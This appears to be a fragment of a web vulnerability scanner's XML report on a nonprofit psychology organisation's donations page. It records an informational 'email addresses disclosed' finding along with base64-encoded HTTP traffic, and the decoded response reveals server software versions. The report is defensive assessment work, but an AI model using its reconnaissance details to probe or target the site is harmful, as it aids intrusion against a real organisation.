kZWNpbG9fYmllbl9mdWVydGUxLmpwZyIgd2lkdGg9IjEyMCIgaGVpZ2h0PSIxMTIiPjwvdGQ+CiAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiA+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTI0IiBjbGFzcz0iYm90b24xIj5bK10gTSZhYWN1dGU7cyBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgPC90cj4KICAgICAgICA8dHI+CiAgICAgICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0UzRTNFMyI+ICAgICAgICA8L3RyPgogICAgICAgIDx0cj4gCiAgICAgICAgICA8dGQgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj4mbmJzcDs8L3RkPgogICAgICAgIDwvdHI+CiAgICA8L3RhYmxlPjwvdGQ+CiAgPC90cj4KICA8dHI+IAogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSI+PGltZyBzcmM9ImltZy9penExLmpwZyIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjExNCIgLz48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9RdWllbmVzU29tb3NfQTJfMF8yNS5qcGciIHdpZHRoPSI4MDkiIGhlaWdodD0iMTE0IiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcDIiIC8+PC90ZD4KICA8L3RyPgogIDx0cj4gCiAgICA8dGQgaGVpZ2h0PSI1MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIiBiYWNrZ3JvdW5kPSJpbWcvUXVpZW5lc1NvbW9zX0EyXzE4XzE4LmpwZyI+Jm5ic3A7PC90ZD4KICAgIDx0ZCBoZWlnaHQ9IjUwIiBjbGFzcz0iZm9uZG9ib3R0b20iPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2l0ZWkuY29tLmFyLyI+PGltZyBzcmM9ImltZy9laV9jb2xvci5wbmciIGFsdD0iZXNwYWNpb3MgZGUgaW1hZ2luYWNpb24sIGRlc2Fycm9sbG9zIGludGVyYWN0aXZvcywgY3JlYXRpdmlkYWQsIGRpc2XxbyIgd2lkdGg9IjI3IiBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiPjwvYT4gPHNwYW4gY2xhc3M9ImVpIj48YSBocmVmPSJodHRwOi8vd3d3LnNpdGVpLmNvbS5hci8iIHNwYW4gY2xhc3M9ImVpIj5kaXNlJm50aWxkZTtvICsgY29tdW5pY2FjaSZvYWN1dGU7bjwvYT48L3NwYW4+PGVtPiZuYnNwOzwvZW0+PC9zcGFuPjxzcGFuIGNsYXNzPSJibGFuY28xIj48ZW0+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9lbT48L3NwYW4+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgoKCjxtYXAgbmFtZT0iTWFwMiI+PGFyZWEgc2hhcGU9InJlY3QiIGNvb3Jkcz0iMjQ3LDY5LDQxNCw4MiIgaHJlZj0ibWFpbHRvOnNhbHVkYWN0aXZhQHNhbHVkYWN0aXZvLm9yZy5hciI+CjwvbWFwPgo8bWFwIG5hbWU9Ik1hcCI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM2LDE0MiwxNDksMTUyIiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MiI+CjxhcmVhIHNoYXBlPSJyZWN0IiBjb29yZHM9IjM0LDE4NiwxNTAsMTk2IiBocmVmPSJpbmRleC5waHA/aWQ9OF92ZXIyJmNvbmY9MCI+CjwvbWFwPgo8L2JvZHk+CjwvaHRtbD4K]]></response>
254 <responseRedirected>false</responseRedirected>
255 </requestresponse>
256 </issue>
257 <issue>
258 <serialNumber>497905397226519552</serialNumber>
259 <type>6291968</type>
260 <name>Email addresses disclosed</name>
261 <host ip="200.20.20.201">http://www.example.org.ar</host>
262 <path><![CDATA[/donaciones/]]></path>
263 <location><![CDATA[/donaciones/]]></location>
264 <severity>Information</severity>
265 <confidence>Certain</confidence>
266 <issueBackground><![CDATA[The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.<br><br>However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organization's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.]]></issueBackground>
267 <remediationBackground><![CDATA[You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as [email protected]).]]></remediationBackground>
268 <issueDetail><![CDATA[The following email address was disclosed in the response:<ul><li>[email protected]</li></ul>]]></issueDetail>
269 <requestresponse>
270 <request base64="true"><![CDATA[R0VUIC9kb25hY2lvbmVzLyBIVFRQLzEuMQ0KSG9zdDogd3d3LnNhbHVkYWN0aXZhLm9yZy5hcg0KQWNjZXB0OiAqLyoNCkFjY2VwdC1MYW5ndWFnZTogZW4NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChjb21wYXRpYmxlOyBNU0lFIDkuMDsgV2luZG93cyBOVCA2LjE7IFdpbjY0OyB4NjQ7IFRyaWRlbnQvNS4wKQ0KQ29ubmVjdGlvbjogY2xvc2UNCg0K]]></request>
271 <response base64="true"><![CDATA[SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA3IE5vdiAyMDEzIDE3OjE0OjA2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi4yLjIzIChVbml4KSBtb2Rfc3NsLzIuMi4yMyBPcGVuU1NMLzAuOS44ZS1maXBzLXJoZWw1DQpMYXN0LU1vZGlmaWVkOiBXZWQsIDAzIEp1bCAyMDEzIDEzOjQ4OjMwIEdNVA0KRVRhZzogImFhZDk2Ny03MTI5LTRlMDliYjc3ZmM3ODAiDQpBY2NlcHQtUmFuZ2VzOiBieXRlcw0KQ29udGVudC1MZW5ndGg6IDI4OTY5DQpDb25uZWN0aW9uOiBjbG9zZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWwNCg0KPCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBYSFRNTCAxLjAgVHJhbnNpdGlvbmFsLy9FTiIgImh0dHA6Ly93d3cudzMub3JnL1RSL3hodG1sMS9EVEQveGh0bWwxLXRyYW5zaXRpb25hbC5kdGQiPgo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4KPHRpdGxlPlNhbHVkIEFjdGl2YTwvdGl0bGU+CjxsaW5rIGhyZWY9ImVzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIiAvPgo8bGluayBocmVmPSJmb3JtX2ZpbGVzL2VzdGlsb3MuY3NzIiByZWw9InN0eWxlc2hlZXQiIHR5cGU9InRleHQvY3NzIj4KPCEtLVtpZiBJRSA2XT4KCQkJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCQkJIEBpbXBvcnQgdXJsKGllNi5jc3MpOwoJCQk8L3N0eWxlPiAKCQk8IVtlbmRpZl0tLT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5Lm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJTY3JpcHRzL3N3Zm9iamVjdF9tb2RpZmllZC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0ianMvanF1ZXJ5LmN5Y2xlLmFsbC4yLjc0LmpzIj48L3NjcmlwdD4gCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KJChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7CgkkKCcjc2xpZGUnKS5jeWNsZSh7IAogICAgCWZ4OiAgICAgJ3Njcm9sbExlZnQnLCAKICAgCSAJc3BlZWQ6ICAxNTAwLCAKICAgIAl0aW1lb3V0OiA2MDAwICwKCQluZXh0OiAgICcjbmV4dCcsIAogICAgCXByZXY6ICAgJyNwcmV2JwoJfSk7Cn0pOwokKGZ1bmN0aW9uKCkKewovL2JvdG9uMQokKCIjYm90b24xIikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzEiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMiwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG80LCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uMSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKLy8kKCIjYm90b24yLCAjYm90b24zLCAjYm90b240LCAjYm90b241IikucmVtb3ZlQ2xhc3MoJ3NlbGVjdCcpLmFkZENsYXNzKCdub3NlbGVjdCcpOwp9KTsKCi8vYm90b24yCiQoIiNib3RvbjIiKS5jbGljayhmdW5jdGlvbihldmVudCkgewpldmVudC5wcmV2ZW50RGVmYXVsdCgpOwokKCIjY29udGVuaWRvMiIpLnNsaWRlVG9nZ2xlKCk7CiQoIiNjb250ZW5pZG8xLCAjY29udGVuaWRvMywgI2NvbnRlbmlkbzQsICNjb250ZW5pZG81Iikuc2xpZGVVcCgpOwokKCIjYm90b24yIikucmVtb3ZlQ2xhc3MoJ25vc2VsZWN0JykuYWRkQ2xhc3MoJ3NlbGVjdCcpOwovLyQoIiNib3RvbjEsICNib3RvbjMsICNib3RvbjQsICNib3RvbjUiKS5yZW1vdmVDbGFzcygnc2VsZWN0JykuYWRkQ2xhc3MoJ25vc2VsZWN0Jyk7Cn0pOwoKLy9ib3RvbjMKJCgiI2JvdG9uMyIpLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7CmV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiQoIiNjb250ZW5pZG8zIikuc2xpZGVUb2dnbGUoKTsKJCgiI2NvbnRlbmlkbzEsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNCwgI2NvbnRlbmlkbzUiKS5zbGlkZVVwKCk7CiQoIiNib3RvbjMiKS5yZW1vdmVDbGFzcygnbm9zZWxlY3QnKS5hZGRDbGFzcygnc2VsZWN0Jyk7Ci8vJCgiI2JvdG9uMiwgI2JvdG9uMSwgI2JvdG9uNCwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNAokKCIjYm90b240IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzQiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNSIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7CgovL2JvdG9uNQokKCIjYm90b241IikuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsKZXZlbnQucHJldmVudERlZmF1bHQoKTsKJCgiI2NvbnRlbmlkbzUiKS5zbGlkZVRvZ2dsZSgpOwokKCIjY29udGVuaWRvMSwgI2NvbnRlbmlkbzMsICNjb250ZW5pZG8yLCAjY29udGVuaWRvNCIpLnNsaWRlVXAoKTsKJCgiI2JvdG9uNSIpLnJlbW92ZUNsYXNzKCdub3NlbGVjdCcpLmFkZENsYXNzKCdzZWxlY3QnKTsKJCgiI2JvdG9uMiwgI2JvdG9uMywgI2JvdG9uMSwgI2JvdG9uNCIpLnJlbW92ZUNsYXNzKCdzZWxlY3QnKS5hZGRDbGFzcygnbm9zZWxlY3QnKTsKfSk7Cn0pOwo8L3NjcmlwdD4KCgo8L2hlYWQ+Cgo8Ym9keT4KPGRpdiBpZD0iY29udGVuZWRvciI+CjxkaXYgaWQ9ImhlYWRlciI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgPHRyPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249Im1pZGRsZSI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXIuanBnIiBuYW1lPSJib3RvbjQiIHdpZHRoPSI5MzMiIGhlaWdodD0iMTI5IiBpZD0iYm90b240Ii8+PC90ZD4KICAgPCEtLSA8dGQgdmFsaWduPSJtaWRkbGUiPjxhIGhyZWY9ImluZm8uZG9jIiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9oZWFkZXJtYzEuanBnIiBuYW1lPSJkZXNjYXJnYSIgd2lkdGg9Ijg0NSIgaGVpZ2h0PSIxMTAiIGJvcmRlcj0iMCIgIGlkPSJkZXNjYXJnYSIvPi0tPgo8L2E+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgo8L2Rpdj4gPCEtLWVuZCBvZiBIRUFERVIgLS0+CiAgICA8ZGl2IGlkPSJpbWFnZW5lcyI+CiAgICAgIDxkaXYgaWQ9InNsaWRlciI+CiAgIAkgIDxkaXY+CiAgIAkJPGltZyBzcmM9ImltYWdlcy9iYW5uZXJfaG9tZS5qcGciIHdpZHRoPSI5MzUiIGhlaWdodD0iMzA5IiAvPjwvZGl2PiAKICAgCSAgPCEtLWVuZCBvZiBTTElERSAtLT4KICAgICAgPC9kaXY+IAogICAgICA8IS0tZW5kIG9mIFNMSURFUiAtLT4KPC9kaXY+IAogICAgPCEtLWVuZCBvZiBJTUFHRU5FUyAtLT4gICAgCjxkaXYgaWQ9ImJvdG9uZXJhIj4KICAgIAk8dWw+CiAgICAgICAgCTxsaSBjbGFzcz0ibm9zZWxlY3QxIiBpZD0iYm90b24yIj48L2xpPgogICAgICAgICAgICA8bGkgY2xhc3M9Im5vc2VsZWN0MiIgaWQ9ImJvdG9uMSI+PC9saT4KICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6IHZvaWQobyk7IiBvbmNsaWNrPSJ3aW5kb3cub3BlbignaHR0cDovL3d3dy5mYWNlYm9vay5jb20vc2hhcmVyLnBocD91PWh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2RvbmFjaW9uZXMvJywndmVudGFuYWNvbXBhcnRpcicsICd0b29sYmFyPTAsIHN0YXR1cz0wLCB3aWR0aD02NTAsIGhlaWdodD00NTAnKTsiPgogICAgICAgIDxsaSBjbGFzcz0ibm9zZWxlY3QzIj48L2xpPgogICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwhLS08bGkgY2xhc3M9Im5vc2VsZWN0IiBpZD0iYm90b240Ij5JTkZPUk1BQ0nDk04gREUgQ09NUFJBUzwvbGk+LS0+CiAgICAgICAgICA8IS0tIDxsaSBjbGFzcz0ibm9zZWxlY3QiIGlkPSJib3RvbjUiPkNPTUVSQ0lBTCBERSBUVjwvbGk+IC0tPgogICAgICAgIDwvdWw+CiAgICAgPC9kaXY+ICAgICAgIAogICAgIDwvZGl2Pgo8IS0tZW5kIG9mIEJPVE9ORVJBIC0tPgogICAgCjxkaXYgY2xhc3M9ImNvbnRlbmlkbyIgaWQ9ImNvbnRlbmlkbzEiPgoKPCEtLUNPTlRFTklETyAxZXIgQk9UT04gLS0+CiAKPGRpdiBjbGFzcz0iZm9uZG9fY29udDQiPgoKPGRpdiBjbGFzcz0idGV4dG8iPgo8cD4mbmJzcDs8L3A+CjxwPiZuYnNwOzwvcD4KPHA+PHNwYW4gY2xhc3M9ImgxIj48Yj5TYWx1ZCBBY3RpdmE8L2I+PC9zcGFuPjwvcD4KICAgIAo8cD48c3BhbiBjbGFzcz0iaDIiPlNhbHVkIEFjdGl2YSBlcyB1bmEgb3JnYW5pemFjacOzbiBzaW4gZmluZXMgZGUgbHVjcm8gcXVlIGluaWNpw7Mgc3UgdHJhYmFqbyBhIHByaW5jaXBpb3MgZGVsIGHDsW8gMTk5OS48L3NwYW4+PC9wPgoKPHA+PHNwYW4gY2xhc3M9ImgzIj4KPHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPjxiciAvPgpIb3kgZXN0YW1vcyB0cmFiYWphbmRvIGVuIGVzdGUgcHJveWVjdG86PC9zdHJvbmc+PGJyIC8+CjxhIGhyZWY9Imh0dHA6Ly9pc3N1dS5jb20vZWkuZXN0dWRpby9kb2NzL3NhbHVkYWN0aXZhLWx1ZG90ZWNhP21vZGU9d2luZG93IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltYWdlcy9HYXJhYmF0b0x1ZG90ZWNhXzUwMHB4LmpwZyIgd2lkdGg9IjUwMCIgaGVpZ2h0PSIxMTMiIGJvcmRlcj0iMCIgLz48L2E+Cgo8YnIgLz4KPGEgaHJlZj0iUHJveWVjdG9MdWRvdGVjYUNvbXBsZXRvLnBkZiIgdGFyZ2V0PSJfYmxhbmsiIHN0eWxlPSJjb2xvcjojRjYwOyI+VmVyIHByb3llY3RvIGNvbXBsZXRvPC9hPjxiciAvPgo8c3Ryb25nPjxiciAvPgo8L3N0cm9uZz48L3NwYW4+PHN0cm9uZyBzdHlsZT0iZm9udC13ZWlnaHQ6Ym9sZDsiPlVuIHBvY28gZGUgaGlzdG9yaWE8L3N0cm9uZz48ZW0+OjwvZW0+PC9wPgo8cD48c3BhbiBjbGFzcz0iaDMiPkN1YW5kbyBpbmljaWFtb3MgZXN0ZSBjYW1pbm8gdGVuw61hbW9zIHVuYSBwcmVvY3VwYWNpw7NuLCBsb3MgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBjdWFuZG8gc2UgcmVjaWLDrWFuIHRlbsOtYW4gcXVlIGNvbWVuemFyIGEgZWplcmNlciB5IHNlIGVuZnJlbnRhYmFuIGEgdW5hIHNlcmllIGRlIHByb2JsZW1hcywgZW50cmUgZWxsb3MgbGEgZGlmZXJlbmNpYSBlbnRyZSBsbyBxdWUgYXByZW5kw61hbiAoeSBhcHJlbmRlbikgZW4gbGEgRmFjdWx0YWQgKHNlYSBsYSBxdWUgc2VhKSB5IGxhIHJlYWxpZGFkIGRlbCBzdWZyaW1pZW50byBkZSBsYSBnZW50ZS4gCiAgRWwgb3RybyBwcm9ibGVtYSBjb24gZWwgcXVlIHNlIHRvcGFiYW4gZXMgbGEgaW5leGlzdGVuY2lhIGRlIGx1Z2FyZXMgZG9uZGUgcmVhbGl6YXIgcHLDoWN0aWNhcywgZG9uZGUgYXByZW5kZXIgYSBhdGVuZGVyIHBhY2llbnRlcywgY29tbyBzZXIgcHNpY8OzbG9nb3MgeSBwc2ljw7Nsb2dhcyBlbiBsYSByZWFsaWRhZCBkZWwgY29udXJiYW5vIGJvbmFlcmVuc2XigKYgPGJyIC8+PGJyIC8+CiAgRXNhcyBwcmVvY3VwYWNpb25lcyBzZSBkZXNwcmVuZGllcm9uIGRlIGRpZXogYcOxb3MgZGUgZnVuY2lvbmFtaWVudG8gY29tbyBpbnN0aXR1Y2nDs24gcHNpY29sw7NnaWNhLCBlbCBDSUFQU0kgKENlbnRybyBkZSBJbnZlc3RpZ2FjacOzbiB5IEFzaXN0ZW5jaWEgUHNpY29zb23DoXRpY2EgZnVuZGFkbyBlbiAxOTg5KSB5IGEgbGEgcXVlIGNvbnZvY2Ftb3MgYSBtdWNob3MgeSBtdWNoYXMgasOzdmVuZXMgY29sZWdhcyBxdWUgc3VmcsOtYW4gZXN0YXMgZG9zIGNhcmVuY2lhcyBiw6FzaWNhcyBlbiBzdSBmb3JtYWNpw7NuLiBDb24gZXN0ZSBlc3DDrXJpdHUgZGUgZm9ybWFjacOzbiBwcm9mZXNpb25hbCBjb21lbnphbW9zIG51ZXN0cm8gY2FtaW5vIGNvbiBTYWx1ZCBBY3RpdmEsIGV4YWN0YW1lbnRlIGVsIDkgZGUgYWJyaWwgZGVsIDk5LCBtZWRpYW50ZSBsYSBpbXBsZW1lbnRhY2nDs24gZGVsIFByb2dyYW1hIEFzaXRpci4gQ29udm9jYW1vcyBhIGxvcyBwcm9mZXNpb25hbGVzIHJlY2nDqW4gcmVjaWJpZG9zIGEgcmVhbGl6YXIgZXN0YSBmb3JtYWNpw7NuIHByb2Zlc2lvbmFsIHRlw7NyaWNvLXByw6FjdGljYSBkZSBtYW5lcmEgZ3JhdHVpdGEgeSBxdWUgaW5jbHXDrWEgbGEgc3VwZXJ2aXNpw7NuIGNsw61uaWNhIGRlIGxvcyBwYWNpZW50ZXMgdGFtYmnDqW4gZGUgbWFuZXJhIGdyYXR1aXRhLiAKICA8YnIgLz48YnIgLz4KICBQYXJhIGdlbmVyYXIgbG9zIGVzcGFjaW9zIGRlIGxhIHByw6FjdGljYSBpbnZpdGFtb3MgYSBsYSBjb211bmlkYWQgY2VyY2FuYSBhIHBhcnRpY2lwYXIgZGUgZXN0YSBwb3NpYmlsaWRhZDogYXNpc3RlbmNpYSBwc2ljb2zDs2dpY2EgZ3JhdHVpdGEgbyBtZWRpYW50ZSBlbCBwYWdvIGRlIHVuIG3DrW5pbW8gYm9ubyBjb250cmlidWNpw7Nu4oCmCiAgPGJyIC8+PGJyIC8+CiAgUHJpbWVybyBmdWVyb24gbGFzIGVzY3VlbGFzIGRlIG51ZXN0cm8gcGFydGlkbywgcG9kcsOhbiBpbWFnaW5hcnNlIHF1ZSBsYSBwcmltZXJhIHJlYWNjacOzbiBmdWUgZGUgYXNvbWJybyB5IGRlc2NvbmZpYW56YSwgbGFzIGRpcmVjdG9yYXMgeSBlcXVpcG9zIHTDqWNuaWNvcyBjb21lbnphcm9uIGEgbGxhbWFyIHBvciB0ZWzDqWZvbm8sIHNlIGZ1ZXJvbiBhY2VyY2FuZG8geSBsZXMgZXhwbGljw6FiYW1vcyBjdWFsZXMgZXJhbiBudWVzdHJvcyBvYmpldGl2b3M6IGZvcm1hciBwcm9mZXNpb25hbGVzIHkgcGVybWl0aXIgYSBtw6FzIGdlbnRlIHBvZGVyIGFjY2VkZXIgYSBsYSBhc2lzdGVuY2lhIHBzaWNvbMOzZ2ljYS4gQXPDrSBwbGFudGVhZG8gZW1wZXphcm9uIGEgbGxlZ2FyIGxhcyBwcmltZXJhcyBkZXJpdmFjaW9uZXM6IG5pw7FvcywgbmnDsWFzIHkgYWRvbGVzY2VudGVzIHF1ZSB0dXZpZXJhbiBkaWZpY3VsdGFkZXMgbyBwcm9ibGVtYXMgZW4gbGEgZXNjdWVsYSwgeSBxdWUgbGEgZXNjdWVsYSBzZSBjb21wcm9tZXRpZXJhIGEKICB0cmFiYWphciBqdW50byBhIG5vc290cm9zIGVuIGxhIHByb2JsZW3DoXRpY2EgZGVsIG5pw7FvIG8gbmnDsWEuCiAgUXVlIGZ1ZSBsbyBxdWUgb2N1cnJpw7PigKZsYSBtYXlvcsOtYSBkZSBsYXMgZGVyaXZhY2lvbmVzIGVzdGFiYW4gdmluY3VsYWRhcyBhbCBtYWx0cmF0byAsIGEgbGEgdmlvbGVuY2lhIHkgYWwgYWJ1c28gaW5mYW50aWwuIAogIDxiciAvPjxiciAvPgogIEp1c3RhbWVudGUgcG9yIHVuIGNhc28gZGUgYWJ1c28gc2V4dWFsIGluZmFudGlsIGZ1aW1vcyBjb252b2NhZG9zIHBvciB1bm8gZGUgbG9zIFRyaWJ1bmFsZXMgZGUgRmFtaWxpYSBkZSBNb3LDs24sIGVsIG7CuiAxIHBhcmEgc2VyIG3DoXMgZXhhY3RvcyBlbiBkb25kZSBjb21lbnphYmEgYSBmdW5jaW9uYXIgdW4gZXNwYWNpbyBpbm5vdmFkb3IgcGFyYSBhcXVlbCBtb21lbnRvLCBub3ZpZW1icmUgZGVsIDk5LCAgbGEgUmVkIGRlIEZhbWlsaWEgZGVsIE9lc3RlLCBjcmVhZGEgcG9yIHVuIEp1ZXogZWwgRHIuIENhcmxvcyBSb21hbm8sIHZpc2lvbmFyaW8gc29icmUgbGEgZm9ybWEgZW4gbGEgcXVlIHNlIGRlYmVuIHRyYWJhamFyIGxvcyB0ZW1hcyBkZSB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c286IGVuIHJlZCwgYXJ0aWN1bGFuZG8sCiAgbXVsdGlkaXNjaXBsaW5hcmlhbWVudGUsIHBlbnNhbmRvIGp1bnRvcywgc2llbmRvIGNyZWF0aXZvc+KApgogIDxiciAvPjxiciAvPgogIE5vcyBhdXRvIGZvcm1hbW9zLCBpbnZlc3RpZ2Ftb3MsIGNvbnN0aXR1aW1vcyBncnVwb3MgZGUgZXN0dWRpbywgbm9zIGNhcGFjaXRhbW9zLCB5IG5vcyBlc3BlY2lhbGl6YW1vcy4KICBTaWVtcHJlIGRlY2ltb3MgcXVlIG5vc290cm9zIG5vIGVsZWdpbW9zIGhhY2VyIGVzdG8sIGxhIHJlYWxpZGFkIHNlIG5vcyBpbXB1c28geSBzZW50aW1vcyBxdWUgZXJhIG51ZXN0cm8gZGViZXIgcmVzcG9uZGVyIGEgbG8gcXVlIG5hZGllIHJlc3BvbmRlLCBhY29tcGHDsWFyIGxvIHF1ZSBuYWRpZSBhY29tcGHDsWEsIHkgcG9yIHNvYnJlIHRvZG8gaGFjZXLigKYsIHRyYXRhciBxdWUgZWwgcXVlIGVzdMOhIHN1ZnJpZW5kbyB0ZW5nYSBsYSBvcG9ydHVuaWRhZCBkZSBlbGVnaXIgb3RyYSBjb3NhLCB0ZW5nYSBsYSBwb3NpYmlsaWRhZCBkZSBtZWpvcmFyLCBkZSBjYW1iaWFyIHN1IGRlc3Rpbm/igKYKICA8YnIgLz48YnIgLz4KICBFbiBlc2UgY2FtaW5vIGZ1aW1vcyBoYWNpZW5kbywgbG9zIENvbmdyZXNvcywgbGFzIEpvcm5hZ